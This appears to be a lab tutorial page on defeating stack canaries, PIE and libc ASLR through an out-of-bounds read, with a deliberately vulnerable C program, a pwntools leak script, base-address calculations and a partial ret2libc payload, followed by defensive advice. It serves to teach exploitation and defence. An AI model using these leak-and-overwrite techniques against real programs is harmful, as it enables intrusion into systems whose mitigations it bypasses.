Skip to content

Information Leaks: Defeating ASLR and Canaries

Modern exploits are leak-then-act. Build an out-of-bounds read, then use it to recover a stack canary, the PIE base and the libc base — the three secrets every mitigation relies on.

Published on 4 min read

This is the seventh walkthrough in the Exploitation Techniques area, and it steps back to the primitive that the ret2libc and PIE discussions kept leaning on: the information leak. Corruption techniques get the attention, but on a modern target the leak is what makes them possible. This guide builds one and uses it to defeat, in turn, the stack canary, PIE and libc ASLR.

Same rules: your own binary, disposable lab. See the lab rules.

Mitigations are secrets, not walls

A canary is a random value you must not know. PIE and ASLR are random base addresses you must not know. None of them stop a write — they stop a blind write, by hiding the value or address the write depends on. A leak removes the blindfold:

Secret leakedMitigation defeatedWhat you can then do
Stack canary valueStack canaryOverflow past the canary, replacing it with itself
A code pointer (return address)PIECompute the binary base; use its gadgets/symbols
A libc pointer (e.g. a GOT entry)libc ASLRCompute libc base; use system, one-gadgets

The target

A program with a benign-looking out-of-bounds read: it prints back the stack slot at an index you supply, with no upper bound. That single bug leaks everything.

/* vuln.c — an OOB read that discloses stack contents. */
#include <stdio.h>

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    unsigned long stack[16];
    for (int i = 0; i < 16; i++) stack[i] = 0;   /* some real data */

    unsigned idx;
    puts("index?");
    if (scanf("%u", &idx) != 1) return 1;
    /* the bug: no check that idx < 16 */
    printf("value: %#lx\n", stack[idx]);         /* reads past the array */
    return 0;
}
gcc -fstack-protector-strong -pie -fPIE -O0 -g -o vuln vuln.c   # canary AND PIE ON

Note we build with the mitigations on this time — the whole point is to leak past them.

Step 1 — map the stack

Reading successive indices past the array walks up the stack frame. A few reads reveal the canary (a random 8-byte value whose least-significant byte is 00), the saved frame pointer (a stack address), and the saved return address (a code pointer into the binary — or into libc for __libc_start_main's return).

from pwn import *
context.binary = elf = ELF("./vuln")

def leak(idx):
    io = process("./vuln")
    io.sendlineafter(b"index?\n", str(idx).encode())
    io.recvuntil(b"value: ")
    val = int(io.recvline().strip(), 16)
    io.close()
    return val

for i in range(16, 24):
    log.info("stack[%d] = %#018x", i, leak(i))
stack[16] = 0x0000000000000000
stack[17] = 0x00000a1b2c3d4e00   ← canary (ends in 00)
stack[18] = 0x00007ffd1234abc0   ← saved rbp (stack address)
stack[19] = 0x00005600aabbc123   ← saved return address (PIE code pointer)
stack[20] = 0x00007f88deadbe40   ← a libc address (__libc_start_main+offset)

The trailing 00 byte is the fingerprint of a canary: glibc sets the low byte to a null so a string read cannot leak or overrun it easily.

Step 2 — turn each leak into a base

canary   = leak(17)
ret_addr = leak(19)
libc_ret = leak(20)

# PIE base: leaked return address minus its offset in the binary.
# (find the offset once, in gdb: the address is main+NN or __libc_csu... )
elf.address = ret_addr - elf.symbols["main"] - RET_OFFSET_IN_MAIN

# libc base: leaked libc return minus __libc_start_main_ret offset for this libc.
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = libc_ret - LIBC_START_MAIN_RET

log.success("canary    = %#x", canary)
log.success("PIE base  = %#x", elf.address)
log.success("libc base = %#x", libc.address)

With elf.address and libc.address set, pwntools resolves every gadget and symbol at its true runtime location. The three mitigations are now transparent.

Step 3 — spend the leaks

In a real exploit the leak and the corruption are two uses of (often) the same or a paired bug. Suppose the same program also had a stack overflow: you would now build a payload that

  1. fills the buffer,
  2. replaces the canary with the leaked value (so the epilogue check passes),
  3. overwrites the saved return address with a ret2libc chain built against the recovered libc.address.
payload  = b"A" * OFFSET_TO_CANARY
payload += p64(canary)          # canary survives the check
payload += b"B" * 8             # saved rbp
payload += p64(libc.address + libc.symbols["system"] ...)  # ret2libc, addresses known

The canary is not bypassed; it is satisfied. That is the important mental model: a leaked canary makes the check a formality.

Why there is no "turn the mitigation back on" here

This guide is the counter-lesson. The mitigations were already on; the leak defeated them anyway. The defence against a leak is not another address-hiding mitigation — it is not having the disclosure bug:

  • Bounds-check every index and length (the fix for this exact OOB read).
  • Do not send uninitialized buffers back to the user; zero or fully populate them.
  • Compile with -Wformat=2 to kill format-string leaks — see format-string bugs.
  • Find these with AddressSanitizer (it flags out-of-bounds reads, not just writes) and fuzzing.

What this teaches a defender

  • Rate read bugs like write bugs. An out-of-bounds read looks low-severity in isolation and is often the linchpin of a critical exploit. In triage, pair it with any nearby corruption bug — see reading crash reports.
  • A canary ending in 00 is by design, and a single leak of it neutralizes it. Canaries stop blind linear overwrites, nothing more.
  • Defence in depth still matters: PIE and ASLR force the attacker to find a leak first. A binary with no disclosure bug keeps its secrets, and every downstream technique in this series stalls without them.

Key takeaways

  • ASLR, PIE and canaries are secrets; a leak of one pointer or value per region defeats each.
  • An out-of-bounds read that discloses stack slots can leak the canary, a PIE code pointer and a libc pointer at once.
  • Convert a leak to a base by subtracting the known offset, then let pwntools resolve everything else.
  • A leaked canary is satisfied, not bypassed — you write it back over itself. The real fix is eliminating the disclosure bug.

Next: SROP, turning a single syscall gadget into total register control when ordinary gadgets are scarce.

Related guides

0x7000 · Exploitation Techniques

Returning into libc: the ret2libc Technique

NX is on and the binary is tiny, but libc is mapped and full of useful code. Leak its base past ASLR, then return straight into system("/bin/sh") — a full two-stage pwntools walkthrough.

0x8000 · ARM64 Exploitation

ARM64 Exploitation: the Link Register and ret2win

On AArch64 the return address lives in a register, not on the stack — until a non-leaf function saves it. Build the ARM ret2win in a lab and see where the saved link register sits.

0x8000 · ARM64 Exploitation

ROP on ARM64: Gadgets and the Link Register

AArch64 gadgets end in ret, which branches to x30 — so the chain is threaded through the link register with ldp gadgets. Build a system("/bin/sh") chain, then watch PAC and BTI break it.